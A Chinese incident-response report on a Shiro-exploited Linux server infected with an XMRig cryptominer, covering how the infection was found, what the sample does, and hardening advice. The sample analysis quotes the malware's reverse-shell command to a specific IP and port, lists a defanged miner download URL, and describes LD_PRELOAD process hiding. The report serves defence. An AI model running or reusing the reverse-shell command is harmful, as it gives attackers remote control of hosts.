记一次CPU告警挖矿事件应急响应

为方便您的阅读,可点击下方蓝色字体,进行跳转↓↓↓

    • 01 事件背景介绍
    • 02 定位挖矿主机
    • 03 挖矿主机分析
    • 04 病毒样本分析
    • 05 入侵路径梳理
    • 06 安全加固建议

01 事件背景介绍




某单位服务器存在CUP资源异常占用情况,现需对该情况进行排查。

在这里插入图片描述




02 定位挖矿主机


由于明确存在CPU资源异常占用的主机,所以先行对该台主机进行上机排查。




03 挖矿主机分析


查看系统账号情况,未发现系统可疑、后门账号。

在这里插入图片描述

查看系统安全日志,在系统日志secure中发现近日SSH登录痕迹,确认后不存在异常登录情况。

在这里插入图片描述

查看系统计划任务,在服务器计划任务中发现可疑任务。

在这里插入图片描述



04 病毒样本分析


根据计划任务,下载病毒样本,分析恶意代码可知存在以下攻击行为:

1、下载采用XMRig编译的挖矿木马hxxp://w.apacheorg.top:1234/.libs。

在这里插入图片描述


2、通过Linux动态链接库LD_PRELOAD劫持加载恶意.so文件libs.so,libs.so hook readdir函数对指定进程进行隐藏。

在这里插入图片描述


3、通过创建crontab定时任务、写入启动项方式维持控制。

在这里插入图片描述


4、被控制机器反弹shell连接到控制端198.46.202.146:8899
nohup bash -i >& /dev/tcp/198.46.202.146/8899 0>&1 &

在这里插入图片描述


5、从/.ssh/known_hosts中获取已认证的远程主机ID,与对应的主机建立SSH连接并执行命令下载恶意脚本xms。

在这里插入图片描述


6、清理入侵痕迹。

在这里插入图片描述


根据样本分析结果,到相关路径下发现确实存在恶意so文件等,进一步确认该台服务器已被入侵,并植入挖矿病毒。

其主要被控制行为有:连接黑客控制的服务器建立shell、接受黑客远程控制、安装门罗币挖矿木马、劫持Linux库文件加载过程劫持libs.so文件,Hook Readdir函数对木马进程进行隐藏、创建定时任务、启动项进行持久化。


05 入侵路径梳理


通过上述分析,已明确该主机被植入挖矿病毒,现对主机进行入侵痕迹排查,排查发现:

该台主机的443端⼝对公网开放,并且使用了shiro认证框架。猜测攻击者有可能使⽤了shiro反序列化漏洞获取服务器权限,于是进行漏洞验证。

发现存在可利用的shiro漏洞组件,利用该漏洞能root权限远程命令执行。

在这里插入图片描述

由于应用服务器未开启Web日志记录,仅能大概推断攻击者直接利⽤shiro反序列化漏洞植⼊了病毒样本。

推断攻击者攻击路径为:

1、利用shiro服务漏洞攻击,植入恶意Payload执行恶意命令进而入侵系统。

2、执行恶意命令下载挖矿木马,僵尸网络木马,爆破攻击程序。

3、劫持Linux库文件加载libs.so,Hook Readdir函数隐藏木马进程。

4、创建定时任务、系统启动项。

5、反弹shell连接控制端。

6、挖矿程序不间断的工作,导致系统CPU负载过大,大量消耗主机CPU资源,严重影响主机正常服务运行,导致主机有系统崩溃风险。




06 安全加固建议


1、升级shiro组件至最新版本,且修改默认密钥。

2、及时清除病毒程序创建的定时任务、系统启动项。

3、及时修改系统账号与密码。

4、在边界防火墙对矿池IP进行封禁,禁止内网服务器访问矿池IP。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/9573.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Mysql中IP地址如何在数据库中存储

用无符号的32位整数存储,不要用字符串存储ip 为什么呢? 在Mysql中,当存储ipv4地址的时候,应该使用32位的无符号(int unsigned)来存储ip地址,而不是使用字符串,用int unsigned类型存…

[ZJCTF 2019]NiZhuanSiWei1

拿到是一段php代码 <?php $text $_GET["text"]; $file $_GET["file"]; $password $_GET["password"]; if(isset($text)&&(file_get_contents($text,r)"welcome to the zjctf")){echo "<br><h1>&quo…

一百二十六、DBeaver——导入CSV文件(文件中无表字段)到ClickHouse

一、目标&#xff1a;将CSV文件的数据导入到ClickHouse中 备注&#xff1a;CSV文件没有表字段&#xff0c;只有纯粹的数据 二、实施步骤 第一步&#xff0c;右击表名&#xff0c;选择导入数据 第二步&#xff0c;在源类型和格式&#xff0c;选择从CSV文件导入&#xff0c;然…

Spring Boot 中的 @ComponentScan 注解是什么,原理,如何使用

Spring Boot 中的 ComponentScan 注解是什么&#xff0c;原理&#xff0c;如何使用 在 Spring Boot 中&#xff0c;ComponentScan 是一种注解&#xff0c;它可以让 Spring 自动扫描指定的包及其子包中的组件&#xff0c;并将这些组件自动装配到 Spring 容器中。本文将介绍 Com…

java jvm什么是记忆集,卡表?

记忆集 &#xff1a; 是一种用于记录 从非收集区域指向收集区域的指针集合的抽象数据结构 。如果我们不考虑 效率和成本的话&#xff0c;最简单的实现可以用非收集区域中所有含跨代引用的对象数组来实现这个数据结 构 记忆集作用 &#xff1a;解决对象跨代引用所带来的问题&a…

Addressable 资源管理全解

这里写目录标题 一、什么是Addresables二、导入Addressables三、创建Addressables Settings 资产包管理四、资源集合Group的基本操作&#xff08;资源分包&#xff09;五、设置远程资源包六、如何打包七、加载方式7-1. Mono脚本指定和实例化&#xff1a;7-2. 直接实例化指定物体…

【测试效率提升技巧】xmind测试用例转换为excel工具使用手册

【测试效率提升技巧】xmind测试用例转换为excel工具使用手册 一、前置环境配置二、执行Xmind2testcase的转换方法1.在控制台输入xmind2testcase [path/xmind文件路径] [-csv] [-xml] [-json]&#xff0c;例&#xff1a;xmind2testcase /root/homin/XX测试点.xmind -csv ##在当前…

基于OIDC的SSO单点登录

文章目录 什么是SSO&#xff08;Single Sign On&#xff09;单点登录OIDC&#xff08;Open ID Connect&#xff09;SSO服务授权流程&#xff08;OIDC&#xff09;授权模式授权码模式授权码模式授权流程请求授权码过程 授权模式对比总结 什么是SSO&#xff08;Single Sign On&am…

MySQL数据库索引机制

文章目录 一、MySQL缓冲区二、MySQL的page1.认识单个page2.认识多个页3.聚簇索引和非聚簇索引 三、索引的操作1.创建主键索引2.创建唯一索引3.创建普通索引4.查询索引的方法5.删除索引的方法6.索引创建原则 一、MySQL缓冲区 MySQL是一款有客户端和服务端的网络应用&#xff0c…

Ubuntu学习笔记(一)——目录与路径

文章目录 前言一、相对路径与绝对路径1.绝对路径&#xff08;absolute&#xff09;2.相对路径&#xff08;relative&#xff09; 二、目录相关操作命令1.cd(change directory, 切换目录)2.pwd(print working directory, 显示目前所在的目录)3.mkdir(make directory, 建立新目录…

简单认识LVS-DR负载群集和部署实例

文章目录 一、LVS-DR负载群集简介1、DR模式数据包流向分析2、DR 模式的特点 二、DR模式 LVS负载均衡群集部署 一、LVS-DR负载群集简介 1、DR模式数据包流向分析 1、客户端发送请求到 Director Server&#xff08;负载均衡器&#xff09;&#xff0c;请求的数据报文&#xff0…

jvm自带故障处理工具之jmap

jmap是java虚拟机自带的一种内存映像工具。 一般通过jmap可以生成堆的当前使用情况的快照&#xff0c;然后用它来分析或者调优JVM内存使用。 jmap -help jmap -histo:live pid 打印堆的直方图。对于每个Java类&#xff0c;将打印对象数&#xff0c;以字节为单位的内存大小以…